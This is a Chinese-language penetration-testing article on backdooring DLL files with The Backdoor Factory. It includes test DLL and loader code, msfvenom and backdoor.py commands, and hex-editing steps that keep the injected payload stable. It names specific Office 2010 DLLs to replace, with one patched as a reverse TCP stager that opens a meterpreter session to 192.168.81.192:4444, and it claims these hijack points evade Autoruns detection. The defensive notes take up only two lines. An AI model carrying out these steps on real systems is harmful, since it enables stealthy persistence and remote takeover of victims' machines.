导语:这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x00 前言

在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x01 简介

本文将要介绍以下内容:

·劫持自己的DLL,修复BUG

·劫持系统的DLL,绕过Autoruns的后门检测

0x02 利用思路

DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程

DLL同EXE文件最大的区别是多了导出函数的功能

在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用

那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?

下面进行测试,得出结论

0x02 编写程序进行测试

测试Dll testdll.dll:

#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        //MessageBox(NULL, NULL, NULL, 0);
        //Sleep(5000);
        printf("[+] DLL_PROCESS_ATTACHn");
    case DLL_THREAD_ATTACH:
        printf("[+] DLL_THREAD_ATTACHn");
    case DLL_THREAD_DETACH:
        printf("[+] DLL_THREAD_DETACHn");
    case DLL_PROCESS_DETACH:
        printf("[+] DLL_PROCESS_DETACHn");
        break;
    }
    return TRUE;
}
void Export1()
{
    printf("[+] Export1n");
}

导出函数为Export1

Dll加载程序 loader.exe:

#include <windows.h> 
typedef void(*Export)();
int main(int argc, char* argv[])
{
    Export exporttest;
    printf("[*] LoadLibraryn");
    HMODULE hDllLib = LoadLibrary("testdll.dll");
    exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
    exporttest();
    Sleep(10000);
    FreeLibrary(hDllLib);
    printf("[*] FreeLibraryn");
    return 0;
}

程序执行如下图,加载testdll.dll,调用导出函数Export1

1027-1.png

使用The Backdoor Factory为DLL文件添加后门:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次执行loader.exe,测试如下图

1027-2.png

成功执行payload,但是改变了程序流程,无法正常返回FreeLibrary

需要对DLL进行调试,找到出错的原因

首先生成空的跳转模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

选择.text段

执行Loader.exe,程序一切正常,那么就是中间的payload出了问题

使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在0x10005716

如下图

1027-3.png

这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行

接下来,在0x10005716处填入我们的payload

可以使用CFF Explorer添加payload

首先定位payload起始点

PUSHAD
PUSHFD

对应的16进制代码为609C

在CFF Explorer中切换到Hex Editor视图,搜索609C,定位起始点0x0000571A

注:

通过Immunity Debugger获得的内存虚拟地址为0x1000571A,二者对应,位置正确

为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移

如下图

1027-4.png

1027-5.png

将0x0005772-0x0000579E的数据整体后移,中间填入0x90

选中该部分内容,右键-Copy-Hex

找到合适的位置,右键-Fill With…

完整操作如下图

1027-6.jpg

依此方法,中间填入修改后的payload即可,完成Bug修复

通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样

如下图

1027-7.png

得出结论:

对于DLL文件来说,劫持初始化部分造成的结果是在LoadLibrary时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可

0x03 劫持系统的DLL

针对Office 2010,分享几个自己找到的DLL劫持利用位置

1、劫持Word-审阅试图

LOCALSVC.DLL,位于C:\Program Files\Common Files\microsoft shared\RR\Loc14

对该dll添加payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter

测试如下图

1027-8.jpg

2、劫持word-插入-图片

tiptsf.dll,位于C:\Program Files\Common Files\microsoft shared\ink

需要TrustedInstaller权限才能替换

关于如何获得TrustedInstaller权限,可参考文章《渗透技巧——Token窃取与利用》

3、劫持word-文件

也影响别的位置:

word -页面布局-主题-浏览主题

GrooveIntlResource.dll,位于C:\Program Files\Microsoft Office\Office14\2052

需要管理员权限

4、劫持Excel-插入-图片

MSPTLS.DLL,位于C:\Program Files\Common Files\microsoft shared\OFFICE14

需要管理员权限

以上测试如下图

1027-9.jpg

注:

本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测

0x04 防御

对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题

而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大

0x05 小结

本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题

源链接

Hacking more

...